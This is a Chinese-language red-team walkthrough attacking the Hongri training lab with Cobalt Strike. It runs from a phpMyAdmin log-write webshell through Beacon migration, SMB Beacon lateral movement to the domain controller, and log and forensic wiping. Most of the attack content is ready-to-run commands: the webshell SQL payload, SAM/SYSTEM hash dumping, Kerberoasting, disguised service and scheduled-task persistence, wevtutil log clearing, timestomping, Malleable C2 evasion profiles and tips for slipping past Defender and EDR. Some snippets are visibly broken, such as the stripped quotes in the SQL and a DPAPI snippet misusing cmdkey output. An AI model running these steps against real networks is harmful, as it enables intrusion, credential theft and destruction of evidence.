告别理论!用Cobalt Strike实战红日靶场:从蚁剑上线到SMB Beacon横向移动的避坑指南
红队实战进阶Cobalt Strike在红日靶场中的高阶应用与SMB Beacon穿透技术当安全从业者从基础工具转向专业级C2框架时Cobalt Strike以下简称CS往往成为分水岭。这个被全球红队奉为圭臬的平台其真正的威力往往隐藏在内网穿透和会话维持的细节中。本文将基于红日靶场环境拆解从初始Web渗透到域控完全控制的完整攻击链特别聚焦于蚁剑会话迁移、非标准端口监听器配置和SMB Beacon隧道构建三大核心难点。1. 环境搭建与初始访问红日靶场的双网卡设计完美模拟了企业常见的DMZ区架构。Web服务器192.168.111.128同时连接外网和内网192.168.52.0/24这种配置要求攻击者必须掌握网络边界跨越技术。1.1 靶场网络拓扑解析graph LR A[攻击者] --|互联网| B[Web服务器] B --|内网| C[域成员] B --|内网| D[域控制器]关键网络参数配置Web服务器外网卡192.168.111.128/24NAT模式内网卡192.168.52.143/24Host-Only模式域控制器owa.god.org (192.168.52.138)域成员ROOT-TVI862UBEH.god.org (192.168.52.141)注意实际操作前需关闭所有机器的Windows防火墙否则会影响横向移动测试1.2 PHPMyAdmin漏洞利用实战通过御剑扫描发现phpMyAdmin 4.8.1存在日志写入漏洞这是典型的管理后台暴露案例-- 关键攻击SQL序列 SET global general_log on; SET global general_log_file C:/phpStudy/WWW/shell.php; SELECT ?php eval($_POST[cmd]);?;使用蚁剑连接时需特别注意上传文件前执行chcp 65001避免中文乱码优先使用虚拟终端而非图形化文件管理减少流量特征首次连接后立即执行whoami /all检查当前权限2. Cobalt Strike高阶配置技巧2.1 监听器的隐蔽性设计传统HTTP监听器极易被流量检测设备发现推荐使用混合型监听配置// profiles/http/http_custom.profile http-get { set uri /js/jquery.min.js; client { header Accept */*; metadata { base64; prepend SESSION; header Cookie; } } server { output { print; } } }关键参数对比表参数类型传统配置优化配置规避效果URI路径/api/v1/static/js/*.js混淆于正常流量请求间隔默认1秒随机5-15秒规避时序分析SSL证书自签名克隆真实证书绕过证书校验出口流量纯HTTPHTTP over DNS绕过协议过滤2.2 会话迁移的三种模式从蚁剑获得的Webshell需要稳定迁移到CS Beacon推荐级联迁移方案直接注入适用于高权限# 生成反射型DLL ./agscript -c 192.168.111.1 -p 50050 migrate.script # 蚁剑执行内存注入 powershell -c Invoke-ReflectivePEInjection -PEBytes (Get-Content payload.dll -Raw)服务安装需要管理员权限sc.exe create CSUpdate binPath C:\Windows\Temp\svchost.exe -noconsole start auto sc.exe start CSUpdate计划任务绕过部分监控schtasks /create /tn WindowsUpdate /tr cmd.exe /c start /min beacon.exe /sc minute /mo 30经验在红日靶场中域用户权限通常可直接使用服务安装方式但实际攻防需根据AV/EDR情况选择3. 内网横向移动技术精要3.1 凭证获取的进阶方法除常规Mimikatz外红队应掌握多种凭证获取技术# 1. 注册表提取哈希 reg save HKLM\SYSTEM system.bak reg save HKLM\SAM sam.bak # 2. DPAPI解密适用于Chrome等浏览器密码 $cred cmdkey /list | Select-String Target [System.Runtime.InteropServices.Marshal]::PtrToStringAuto( [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR( $cred.GetNetworkCredential().Password ) ) # 3. Kerberoasting攻击需域内权限 Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList MSSQLSvc/dc01.god.org3.2 SMB Beacon隧道构建详解这是穿透不出网机器的核心技术分五个关键步骤生成SMB监听器端口设置为8443避免常用端口勾选Bind to localhost onlyPayload选择Windows Staged SMB上传并激活Beacon# 通过现有IPC$连接复制文件 copy \\192.168.111.128\C$\payload.exe \\192.168.52.138\C$\Windows\Temp\spoolsv.exe # 创建伪装服务 sc.exe \\owa.god.org create PrintSpooler binPath C:\Windows\Temp\spoolsv.exe -smb start auto建立SMB连接# 在CS控制台执行 link owa.god.org流量路由验证# 在已控Web服务器上检查445端口转发 netstat -ano | findstr 445会话维持// 修改Malleable C2配置文件 post-ex { set spawnto_x86 %windir%\\syswow64\\dllhost.exe; set spawnto_x64 %windir%\\system32\\dllhost.exe; set obfuscate true; set smartinject true; }常见错误排查表错误现象可能原因解决方案Link失败防火墙阻断445端口使用备用端口或ICMP隧道Beacon间歇性掉线SMB签名验证关闭签名要求或使用NTLMv1无法创建服务权限不足使用WMI或计划任务替代流量无法回传出网策略限制尝试HTTP/DNS Beacon中继4. 痕迹清理与防御规避4.1 日志清除黄金命令集# 1. 清除系统日志 wevtutil cl System wevtutil cl Security wevtutil cl Application # 2. 删除文件操作记录 Remove-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs -Name * # 3. 擦除Prefetch文件 Get-ChildItem C:\Windows\Prefetch\*.pf | Remove-Item -Force # 4. 清理DNS缓存 ipconfig /flushdns4.2 反取证技巧三则时间戳伪造:: 修改文件时间 powershell (Get-Item beacon.exe).CreationTime 2023-01-01 08:00:00内存混淆# 注入合法进程 $bytes [System.IO.File]::ReadAllBytes(beacon.dll) [Reflection.Assembly]::Load($bytes).GetType(Namespace.Class).GetMethod(Run).Invoke($null, $null)网络伪装// 在C2配置中添加 http-stager { set uri_x86 /css/bootstrap.min.css; set uri_x64 /js/jquery.min.js; set verb GET; }在红日靶场的实战中曾遇到SMB Beacon因Windows Defender的ASR规则拦截的情况。通过分析发现关键在于服务创建时的二进制路径必须伪装成系统正常路径如C:\Windows\System32\spoolsv.exe同时配合父进程欺骗技术使用explorer.exe作为父进程可绕过大多数行为检测。